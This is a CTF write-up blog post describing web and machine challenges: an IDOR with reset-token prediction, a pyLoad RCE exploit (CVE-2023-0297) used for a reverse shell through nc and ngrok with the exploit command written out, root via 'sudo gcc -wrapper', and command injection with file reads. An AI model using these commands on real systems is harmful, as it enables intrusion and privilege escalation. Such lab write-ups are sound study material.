Arab Regional Cybersecurity CTF 2023 (Web Security & Machines)
We Stand with Palestine and don’t recognize a country called Israel.
Hi everyone, I’m a web pentester, and I occasionally participate in CTFs. Recently, I took part in the Arab Regional Cyber Security CTF 2023 and collaborated with my friend Amr Zaki in solving 2 web challenges (one medium and the other hard) and managed to solve two machines. However, we couldn’t obtain the flag for the hard machine as the competition had ended. Let me now explain the scenario.
NoteHarbor | (Web Secutiy - 100 Point)
The challenge description was: Mariel Calderwood: HI I can’t login to my account can you help me?
It was a web security challenge that contained register, login, and reset password functions. After creating account and logging on, it contained an adding notes function. Firstly, I thought about an SSTI vulnerability in the notes function, but it didn’t work.
There was a profile directory with a user number endpoint that contained my user ID, which was 801 (Username, Email, Secret). I changed the user ID, and it leaked user data, so it was vulnerable to IDOR.
Now I had 800 user IDs, and I wanted to get the credentials of Mariel Calderwood. I used Burp Intruder to brute-force the user IDs and used grep-match with the username in the description. It returned the user ID as 262.
Now i have the Email and Secret of Mariel Calderwood.
After reading the source code for the reset_password
function, I found that to reset your password, you must enter your reset token at the reset_password/<reset_token>
endpoint.
@app.route('/reset_password/<reset_token>', methods=['GET', 'POST'])
def reset_password(reset_token):
user = User.query.filter_by(reset_token=reset_token).first()
if user and user.token_expiration > datetime.now():
if request.method == 'POST':
new_password = request.form['new_password']
hashed_password = bcrypt.generate_password_hash(new_password).decode('utf-8')
user.password = hashed_password
user.reset_token = None
user.token_expiration = None
db.session.commit()
flash('Password reset successfully. You can now log in with your new password.', 'success')
return redirect(url_for('login'))
return render_template('reset_password.html')
flash('Invalid or expired reset token.', 'danger')
return redirect(url_for('forgot_password'))
This function handles the password reset process by verifying the reset token, allowing the user to submit a new password, and updating it in the database if the token is valid and not expired. If successful, the user is redirected to the login page; otherwise, an error message is displayed and the user is redirected to the forgot password page.
Now that I have the user’s email, I thought about how to get the reset token. After reading the generate_reset_token()
function, I understand that it generates a random reset token of specified length for a user by combining their secret with the current time in minutes.
So, I ran the function locally in Visual Studio Code and combined it with the secret to get the reset token.
import string,random
from datetime import datetime, timedelta
def generate_reset_token(user, token_length=32):
letters_and_digits = string.ascii_uppercase + string.digits
current_time_minutes = int(datetime.now().timestamp() // 60)
seed = user + str(current_time_minutes)
random.seed(seed)
reset_token = ''.join(random.choice(letters_and_digits) for _ in range(token_length))
return reset_token
print(generate_reset_token('CH5CSTBK6QH6N8J77VNR8KN44RAHXNP2'))
I was able to change the user’s password because the reset token was valid.
Then I logged in to the user account with his email and the password that I had reset. I got the flag in a note.
Futuristik | (Machines - 100 Point)
The challenge description was: The challenge exists in /login or /chall
So when I navigated to the /chall
endpoint, it returned an error. Then I navigated to the /login
page, which was a payload login page with the default credentials pyload:pyload
. After redirecting to the /dashboard
, I did not find anything that I could get RCE from.
After researching pyload exploits, I found a pre-unauthenticated RCE (CVE-2023–0297) and used it to gain a reverse shell. Here is its usage:
python3 exploit.py -t <target> -I <attacker_ip> -P <attacker_port>
I ran the script using the nc
command to get a reverse shell, but it did not work. So, I used ngrok and it completed successfully.
nc -nlvp 5555
ngrok tcp 5555
python3 exploit.py -t <target> -I 4.tcp.eu.ngrok.io -P 15840
Now, I got a reverse shell, but the flag wasn’t in the user directory, so I should escalate my privileges to root to get the flag.
First, I entered the sudo -l
command to check if the user is in the sudoers list, and I found that the user can get root access if they run the gcc
command.
So, I navigated to GTFOBins to get the gcc sudo command, which was sudo gcc -wrapper /bin/sh,-s
. Now I am root.
Now I can access the /root/flag.txt
file and have obtained the flag.
PEhHac | (Machines | 200 Point)
In this challenge, we were not able to obtain the flag before the time ended. It was a difficult challenge that contained a name input that sent an email to the name when the website was ready. This made it susceptible to command injection vulnerabilities, which enabled me to obtain local file inclusion (LFI) vulnerabilities and self-XSS vulnerabilities. However, I was not able to obtain remote code execution (RCE), which was my primary objective, I found the /etc/passwd
file and learned that the user was damon
. I thought about obtaining the SSH private and public keys to gain a reverse shell, but the files did not exist.
After searching for payloads to achieve remote code execution (RCE), I found a command injection payload that aims to execute arbitrary commands on a target system with a vulnerable application. These were the steps I took:
- nc -nlvp 5555
- ngrok tcp 5555
- copy the ngrok ip and port, then replace it in the payload
So it will start a reverse shell connection to the specified hostname, and I got a reverse shell.
But to get the flag, you must escalate your privileges to root. However, the competition was ended.